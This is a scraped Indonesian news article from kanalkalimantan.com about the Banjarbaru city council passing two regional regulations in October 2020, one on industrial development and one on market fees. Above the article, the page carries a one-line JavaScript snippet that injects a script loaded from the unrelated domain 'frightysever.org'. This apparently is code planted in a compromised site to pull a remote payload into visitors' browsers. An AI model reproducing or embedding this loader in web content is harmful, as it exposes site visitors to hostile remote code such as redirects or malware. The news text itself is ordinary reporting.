(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – DPRD Kota Banjarbaru mengesahkan dua Rancangan Peraturan Daerah (Raperda) menjadi Perda, dalam gelaran rapat paripurna, Senin (19/10/2020) siang. Pengesahan itu dipimpin Ketua DPRD Banjarbaru Fadliansyah dihadiri Pjs Wali Kota Banjarbaru Bernhard E Rondonuwu.
Adapun dua Perda yang baru saja disahkan yakni Perda tentang rencana pembangunan industri Kota Banjarbaru tahun 2020-2040. Dan Perda tperubahan atas Perda Kota Banjarbaru Nomor 10 Tahun 2011 tentang retribusi pelayanan pasar dan retribusi pasar pertokoan.
Sebelum disahkan, Pjs Wali Kota Banjarbaru menyebut, tujuan dibentuknya Perda tentang rencana pembangunan industri Kota Banjarbaru tahun 2020-2040 adalah untuk mendukung pembangunan industri kota Banjarbaru dalam 20 tahun ke depan.
“Perda itu bertujuan meningkatkan kesempatan berusaha, kesempatan kerja, dan pendapatan masyarakat yang lebih merata melalui pemanfaatan teknologi. Selain itu, juga meningkatkan jumlah industri yang berbasis pada hasil karya intelektual dan tekonologi digital serta tetap melestarikan seni dan budaya yang berciri khas daerah yang dapat dijadikan branding industri daerah,” terangnya.
Sementara, untuk Perda tentang retribusi pelayanan pasar dan retribusi pasar pertokoan, Bernhard menyebut, Perda tersebut bersifat revisi dari Perda sebelumnya yakni Nomor 10 tahun 2011.
Karena Perda lama itu sudah tidak sesuai lagi dengan masa sekarang ini, sehingga Pemko Banjarbaru dalam hal ini melalui Dinas Perdagangan melakukan penyesuaian tarif dalam revisi terbaru.
Dalam hal ini, untuk Perda Nomor 10 tahun 2011 terdahulu, masih menyamakan seluruh tarif antara pasar yang beroperasi tiap hari dengan pasar yang beroperasi mingguan.
“Padahal saat ini ada subyek pasar yang beroperasi tiap hari dan ada juga yang beroperasi mingguan. Seharusnya tarif retribusinya juga beda. Sedangkan di Perda lama masih disamakan tarifnya.Hal itu berpotensi menimbulkan kecemburuan antar pedagang harian dan pedagang mingguan,” jelas Pjs Wali Kota Banjarbaru.
Sementara itu, Ketua DPRD Banjarbaru Fadliansyah mengungkapkan, pengesahan dua Perda telah melalui sejumlah proses. Mulai pandangan dari fraksi-fraksi hingga dilakukan kesepakatan untuk dilakukan pengesaham.
“Kami dari legislatif sepakat dan menyetujui dua Raperda itu disahkan menjadi Perda Kota Banjarbaru,” tegasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.